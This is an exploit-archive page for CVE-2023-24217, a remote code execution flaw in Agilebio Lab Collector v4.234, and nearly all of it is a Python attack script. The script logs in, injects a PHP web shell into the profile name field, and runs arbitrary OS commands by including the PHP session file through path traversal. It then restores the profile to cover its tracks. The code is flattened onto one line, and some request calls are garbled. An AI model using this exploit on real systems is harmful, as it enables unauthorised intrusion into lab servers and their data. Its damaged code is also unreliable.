Agilebio Lab Collector 4.234 Remote Code Execution

Credit: Anthony Cole
Risk: High
Local: No
Remote: Yes

# Exploit Title: Agilebio Lab Collector Electronic Lab Notebook Remote Code Execution # Date: 2023-02-28 # Exploit Author: Anthony Cole # Vendor Homepage: # Version: v4.234 # Contact: # Website: # Tested on: PHP/MYSQL # CVE: CVE-2023-24217 # Category: webapps # # Lab Collector is a software written in PHP by Agilebio. Version v4.234 allows an authenticated user to execute os commands on the underlying operating system. # from argparse import ArgumentParser from requests import Session from random import choice from string import ascii_lowercase, ascii_uppercase, digits import re from base64 import b64encode from urllib.parse import quote_plus sess:Session = Session() cookies = {} headers = {} state = {} def random_string(length:int) -> str: return "".join(choice(ascii_lowercase+ascii_uppercase+digits) for i in range(length)) def login(base_url:str, username:str, password:str) -> bool: data = {"login": username, "pass": password, "Submit":"", "action":"login"} headers["Referer"] = f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile" res ="{base_url}/login.php", data=data, headers=headers) if("My profile" in res.text): return res.text else: return None def logout(base_url:str) -> bool: headers["Referer"] = f"{base_url}//index.php?controller=user_profile&subcontroller=update" sess.get(f"{base_url}/login.php?%2Findex.php%3Fcontroller%3Duser_profile%26subcontroller%3Dupdate",headers=headers) def extract_field_value(contents, name): value = re.findall(f'name="{name}" value="(.*)"', contents) if(len(value)): return value[0] else: return "" def get_profile(html:str): return { "contact_name": extract_field_value(html, "contact_name"), "contact_lab": extract_field_value(html, "contact_lab"), "contact_address": extract_field_value(html, "contact_address"), "contact_city": extract_field_value(html, "contact_city"), "contact_zip": extract_field_value(html, "contact_zip"), "contact_country": extract_field_value(html, "contact_country"), "contact_tel": extract_field_value(html, "contact_tel"), "contact_email": extract_field_value(html, "contact_email") } def update_profile(base_url:str, wrapper:str, param:str, data:dict) -> bool: headers["Referer"] = f"{base_url}/index.php?controller=user_profile&subcontroller=update" res ="{base_url}/index.php?controller=user_profile&subcontroller=update", data=data, headers=headers) return True def execute_command(base_url:str, wrapper:str, param:str, session_path:str, cmd:str): session_file = sess.cookies.get("PHPSESSID") headers["Referer"] = f"{base_url}/login.php?%2F" page = f"../../../../../..{session_path}/sess_{session_file}" res = sess.get(f"{base_url}/extra_modules/eln/index.php?page={page}&action=edit&id=1&{param}={quote_plus(cmd)}", headers=headers) return parse_output(res.text, wrapper) def exploit(args) -> None: wrapper = random_string(5) param = random_string(3) html = login(args.url, args.login_username, args.login_password) if(html == None): print("unable to login") return False clean = get_profile(html) data = get_profile(html) tag = b64encode(wrapper.encode()).decode() payload = f"<?php $t=base64_decode('{tag}');echo $t;passthru($_GET['{param}']);echo $t; ?>" data["contact_name"] = payload #inject payload in name field if(update_profile(args.url, wrapper, param, data)): login(args.url, args.login_username, args.login_password) # reload the session w/ our payload print(execute_command(args.url, wrapper, param, args.sessions, args.cmd)) update_profile(args.url, wrapper, param, clean) # revert the profile logout(args.url) def parse_output(contents, wrapper) -> None: matches = re.findall(f"{wrapper}(.*)\s{wrapper}", contents, re.MULTILINE | re.DOTALL) if(len(matches)): return matches[0] return None def main() -> None: parser:ArgumentParser = ArgumentParser(description="CVE-2023-24217") parser.add_argument("--url", "-u", required=True, help="Base URL for the affected application.") parser.add_argument("--login-username", "-lu", required=True, help="Username.") parser.add_argument("--login-password", "-lp", required=True, help="Password.") parser.add_argument("--cmd", "-c", required=True, help="OS command to execute.") parser.add_argument("--sessions", "-s", required=False, default="/var/lib/php/session/", help="The location where php stores session files.") args = parser.parse_args() if(args.url.endswith("/")): args.url = args.url[:-1] if(args.sessions.endswith("/")): args.sessions = args.sessions[:-1] exploit(args) pass if(__name__ == "__main__"): main()

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